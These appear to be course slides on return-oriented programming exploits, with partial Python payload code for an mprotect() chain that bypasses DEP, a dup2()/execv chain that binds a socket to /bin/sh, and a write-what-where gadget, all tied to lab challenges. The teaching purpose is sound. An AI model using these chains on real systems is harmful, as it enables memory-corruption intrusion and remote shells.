ROP

Where to take gadgets from?

- Either:
 - The program code
 - Shared library code (LIBC etc.)

Where to take gadgets from?

- Either:
 - The program code
 - Static location in memory (if not PIE)
 - Needs to be of some size to have enough gadgets
 - Shared library code (LIBC etc.)
 - "Universal gadget library", because its very big
 - Sadly, non-guessable base location (ASLR'd even without PIE)

ROP shellcode usually consists of:

- Libc calls
 - malloc() / mprotect()
- Preparations of libc calls
 - set up registers
 - read data to defeat ASLR
- Skipping of shellcode arguments (pop/pop/ret)
- And even "plain ASM" (e.g. jmp)

ROP is very inefficient

Needs a lot of gadgets

Not suitable to implement complete shellcode in it

Hello: Multi Stage Shellcode

Stager: Change memory permission

Set Stack executable

Execute it (jmp)

Profit

Stager: Allocator

Allocate new RWX memory

Copy rest of shellcode to newly allocated memory

Execute it (jmp)

Profit

Stage 0: ROP

Allocate rwx Memory

Stage 1: ROP

Copy minimal shellcode to memory Jump to it

Stage 2: Shellcode

Copy rest of the shellcode (meterpreter)
Jump to it

Stager: change memory permission

mprotect() + Shellcode

mprotect() ROP into shellcode

- Defeats: DEP
 - (can also defeat DEP+ASLR with some more ROP gadgetery)
- Get necessary gadgets
- Get address of shellcode
- SIP = ROPchain
- ROP is doing:
 - mprotect(&shellcode, len(shellcode), rwx)
- After ROPchain, jump to shellcode
- Challenge: 16, https://exploit.courses/#/challenge/16
 - DEP enabled
 - ASLR disabled (can use LIBC gadgets)

mprotect() ROP into shellcode

- Defeats: DEP
 - (can also defeat DEP+ASLR with some more ROP gadgetery)
 - This example is DEP only (no ASLR!)
- Get necessary gadgets
- Get address of shellcode
- SIP = ROPchain
- ROP is doing:
 - mprotect(&shellcode, len(shellcode), rwx)
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- Challenge: 16, https://exploit.courses/#/challenge/16
 - DEP enabled
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mprotect() ROP into shellcode 1/2

```
# shellcode
payload = shellcode
payload += "A" * (offset - len(shellcode))
# rop starts here (SIP)
# 0x000000000003a718: pop rax; ret;
payload += p64 ( libcBase + 0x00000000003a718 ) # <- SIP
payload += p64 ( 10 ) # syscall sys mprotect
# 0x000000000001102: pop rdi; ret;
payload += p64 ( libcBase + 0x0000000000021102 )
payload += p64 ( stackAddr ) # mprotect arg: addr
```

mprotect() ROP into shellcode 2/2

Stager: exec into network socket

dup2() into execv() with LIBC

dup2() into execv() with LIBC

- Defeats: DEP + ASLR
 - (Not: DEP+ASLR + PIE)
- Get necessary gadgets
- Get Address of "/bin/sh" in LIBC (or in this case, the program)
- dup() client network socket into 0, 1 and 2
- execv() "/bin/sh"
- Challenge: 17
 - https://exploit.courses/#/challenge/17
 - DEP enabled
 - ASLR enabled

Socket:

- Is often 4 (find via debugging)
- (0, 1, 2 are used. 3 is used for server socket. Therefore next free socket is 4)

The string "/bin/sh" exists therefore in the libc itself

```
# additional gadget to populate rsi
syscall = 33 # Note: dup2() syscall is 33
# Start ROP chain
# dup2(4, 0)
payload += p64 (pop rax)
payload += p64 (33)
payload += p64 ( pop rdi )
payload += p64 (4)
payload += p64 ( pop rsi r15)
payload += p64 (0)
payload += p64 ( 0xdeadbeef1 )
payload += p64 ( syscall )
```

```
# dup2(4, 1)
                                          # dup2(4, 2)
payload += p64 ( pop rax )
                                          payload += p64 (pop rax)
payload += p64 (33)
                                         payload += p64 (33)
payload += p64 ( pop rdi )
                                         payload += p64 ( pop rdi )
payload += p64 (4)
                                         payload += p64 (4)
payload += p64 ( pop rsi_r15)
                                         payload += p64 ( pop rsi r15)
                                         payload += p64 (2)
payload += p64 (1)
payload += p64 ( 0xdeadbeef2 )
                                         payload += p64 ( 0xdeadbeef3 )
payload += p64 ( syscall )
                                         payload += p64 ( syscall )
```

Write-what-where primitive

Problem

What if the string "/bin/sh" does not already exist in memory?

We have to write it by ourselves...

"Write-what-where" primitive, easy example:

```
# mem[rdx] = rax

# value to write
pop rax; ret

# memory location where we want to write the value
pop rdx; ret

# write rax at memory location indicated by rdx
mov ptr [rdx], rax; ret
```

```
# Practical write-what-where example
pop rbp = 0x000000000004009a0 # pop rbp; ret;
# pop rax; ret;
def write2mem(data, location):
     chain = ""
     chain += p64( pop rax )
     chain += p64 (data)
     chain += p64 (pop rbp)
     chain += p64 (location + 8)
     chain += p64( mov ptr rbp eax)
     chain += p64( 0xdeadbeef1 )
     return chain
```

```
chain = "AAAAAA" ...
  chain += write2mem("/bin", 0x603000)
  chain += write2mem("//sh", 0x603000+4)
def write2mem(data, location):
        chain = ""
        chain += p64( pop rax )
        chain += p64 ( data )
        chain += p64( pop rbp )
        chain += p64 (location + 8)
        chain += p64( mov ptr rbp eax)
        chain += p64( 0xdeadbeef1 )
        return chain
```

Where to write?

Every binary has a read-write memory location at a static offset

gdb-peda\$ vmmap

0x00602000	0x00603000	rw-p	challenge17
0x00400000 0x00601000	0x00402000 0x00602000	r-xp rp	challenge17 challenge17



